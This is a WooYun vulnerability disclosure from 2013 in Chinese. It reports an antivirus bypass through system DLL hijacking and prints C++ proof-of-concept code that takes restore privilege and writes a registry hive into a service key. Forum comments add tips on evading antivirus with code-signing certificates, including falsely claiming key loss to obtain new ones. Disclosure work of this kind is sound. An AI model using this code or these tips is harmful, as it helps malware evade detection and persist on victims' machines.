当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-038250

漏洞标题:一种绕过绝大多数杀毒软件的方法(卡巴斯基、360、百度、腾讯、瑞星、江民、AVG、nod32)

相关厂商:Cert

漏洞作者: n0bele

提交时间:2013-09-26 14:29

修复时间:2013-12-25 14:30

公开时间:2013-12-25 14:30

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-26: 细节已通知厂商并且等待厂商处理中
2013-10-02: 厂商已经确认,细节仅向厂商公开
2013-10-05: 细节向第三方安全合作伙伴开放
2013-11-26: 细节向核心白帽子及相关领域专家公开
2013-12-06: 细节向普通白帽子公开
2013-12-16: 细节向实习白帽子公开
2013-12-25: 细节向公众公开

简要描述:

受影响厂商:包括但不仅限于卡巴斯基、360、百度、腾讯、瑞星、江民、AVG、nod32

详细说明:

杀毒软件在主动防御的时候过于依赖WFP,漏防了系统自身的文件,导致了恶意程序可能通过感染系统dll染过主动防御执行任意操作.
DllHijack POC代码:

BOOL EnableDebugPriv(LPCTSTR lpName)
{
BOOL bRet = FALSE;
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tp;
LUID luid;
do
{
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
break;
if(!LookupPrivilegeValue(NULL,lpName,&luid))
break;
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
bRet = AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
}
while(FALSE);

if(hToken != NULL)
CloseHandle(hToken);
return bRet;
}
BOOL RestoreReg(HKEY hKey,LPCWSTR lpSubKey,TCHAR szFilePath[MAX_PATH])
{
BOOL bRet = FALSE;
HKEY hCur = NULL;
do
{
if(!EnableDebugPriv(SE_RESTORE_NAME))
break;
if(RegOpenKeyEx(hKey,lpSubKey,NULL,KEY_ALL_ACCESS,&hCur) != ERROR_SUCCESS &&
RegCreateKey(hKey,lpSubKey,&hCur) != ERROR_SUCCESS)
break;
if(RegRestoreKey(hCur,szFilePath,REG_FORCE_RESTORE) != ERROR_SUCCESS)
bRet = TRUE;
}
while(FALSE);
if(hCur)
RegCloseKey(hCur);
return bRet;
}
BOOL CDllHijackApp::InitInstance()
{
CWinApp::InitInstance();
RestoreReg(HKEY_LOCAL_MACHINE,L"SYSTEM\\CurrentControlSet\\Services\\poc",L"C:\\poc.hiv");
return TRUE;
}


漏洞证明:

poc下载地址http://pan.baidu.com/s/1uuF8Z

修复方案:

辅助WFP防护,校验文件

版权声明:转载请注明来源 n0bele@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-10-02 00:27

厂商回复:

CNVD确认并在多个软件实例上复现所述情况,对于绕过查杀思路原理上进行认定。后续评估情况待补充,国庆后将更新后续跟进分析及评估。
rank 15

最新状态:

暂无


漏洞评价:

评论

  1. 2013-09-26 14:56 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    你这一提交,有多少玩免杀的没饭吃了。。

  2. 2013-09-26 15:00 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    avast呢

  3. 2013-09-26 15:03 | n0bele ( 普通白帽子 | Rank:220 漏洞数:45 | 无耻最寂寞)

    @鬼魅羊羔 你以为防病毒厂商想把所有病毒杀完?杀完了装杀毒软件干嘛。不让一般绕过方法失效,0day又怎么卖钱?

  4. 2013-09-26 15:10 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @n0bele 有道理

  5. 2013-09-26 16:01 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

    关注下。

  6. 2013-09-26 16:48 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    洞主卖过这方法没……

  7. 2013-09-26 17:16 | ( 路人 | Rank:14 漏洞数:4 | 小夜,一个苦逼程序员)

    标题太吓人了

  8. 2013-09-26 20:18 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    包括但不仅限于

  9. 2013-09-26 21:40 | liner ( 普通白帽子 | Rank:165 漏洞数:27 )

    有点夸张...不管怎么绕过都是有生存周期的,你利用的东西,再怎么厉害,总要去给目标中,有中就会有被捕获样本,只要样本被捕获就会被杀..要是说绕过..那方法多了去了,呵呵...

  10. 2013-09-26 22:07 | n0bele ( 普通白帽子 | Rank:220 漏洞数:45 | 无耻最寂寞)

    @liner 方法是很多的,在乌云大概提到8种,剩下的你来补充吧。目标是非0day不能提权

  11. 2013-10-05 19:01 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)

    数字签名信任?

  12. 2013-10-05 20:26 | 萧然 ( 路人 | Rank:0 漏洞数:2 | 喜欢一切美丽的东西!)

    @毕月乌 数字签名?白加黑?

  13. 2013-10-05 20:28 | 萧然 ( 路人 | Rank:0 漏洞数:2 | 喜欢一切美丽的东西!)

    目测楼主有0day,真心膜拜楼主

  14. 2013-10-07 03:22 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)

    @萧然 正规数字签名,直接从CA买或者其他手段~反正我就有正规的数字签名,所有杀软都不杀~

  15. 2013-10-09 17:58 | 萧然 ( 路人 | Rank:0 漏洞数:2 | 喜欢一切美丽的东西!)

    @毕月乌 正规数字签名,被杀软截获样本后是不是会被吊销?

  16. 2013-10-09 22:40 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)

    @萧然 是的~必然吊销,但是你可以以私钥丢失为由申请发新的

  17. 2013-10-09 22:42 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)

    @萧然 不过绝大多数杀软默认直接放行,连云都不传,除非人为提交

  18. 2013-10-10 03:21 | 萧然 ( 路人 | Rank:0 漏洞数:2 | 喜欢一切美丽的东西!)

    @毕月pm你了,基友留个联系方式,好好探讨下

  19. 2013-11-12 15:33 | ACGT ( 实习白帽子 | Rank:32 漏洞数:4 | another script kiddie)

    过不了360,360早就限制对系统文件夹的写入了

  20. 2013-12-25 15:23 | debbbbie ( 路人 | Rank:10 漏洞数:2 | 深藏功与名 - A Rubyist)

    霸气!